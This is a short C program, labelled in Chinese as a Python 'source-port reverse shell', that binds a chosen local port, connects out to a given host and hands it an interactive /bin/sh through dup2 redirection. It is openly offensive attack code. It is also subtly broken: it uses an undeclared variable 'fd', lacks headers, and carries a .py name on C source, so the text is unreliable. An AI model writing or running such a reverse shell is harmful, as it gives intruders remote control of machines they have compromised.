源端口反弹shell.py

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#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
void error(char *msg)
{
        perror(msg);
        exit(0);
}
int main(int argc, char *argv[])
{
        int sockfd, portno, lportno,n;
        struct sockaddr_in serv_addr;
        struct sockaddr_in client_addr;
        struct hostent *server;
        char buffer[256];
        if (argc < 3) {
                fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);
                exit(0);
        }                          //三个参数，目标主机，目标主机端口，本地源端口
        portno = atoi(argv[2]);
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0)
                error("ERROR opening socket");
 
 
        bzero((char *) &client_addr, sizeof(client_addr));
        lportno = atoi(argv[3]);
        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = INADDR_ANY;
        client_addr.sin_port = htons(lportno);         //设置源端口
        if (bind(sockfd, (struct sockaddr *) &client_addr,
                                sizeof(client_addr)) < 0)
                error("ERROR on binding");
 
        server = gethostbyname(argv[1]);
        if (server == NULL) {
                fprintf(stderr,"ERROR, no such host ");
                exit(0);
        }
        bzero((char *) &serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        bcopy((char *)server->h_addr,
                        (char *)&serv_addr.sin_addr.s_addr,
                        server->h_length);
        serv_addr.sin_port = htons(portno);
        if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)   //连接
                error("ERROR connecting");
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);                        //执行shell 
 close(fd); 
}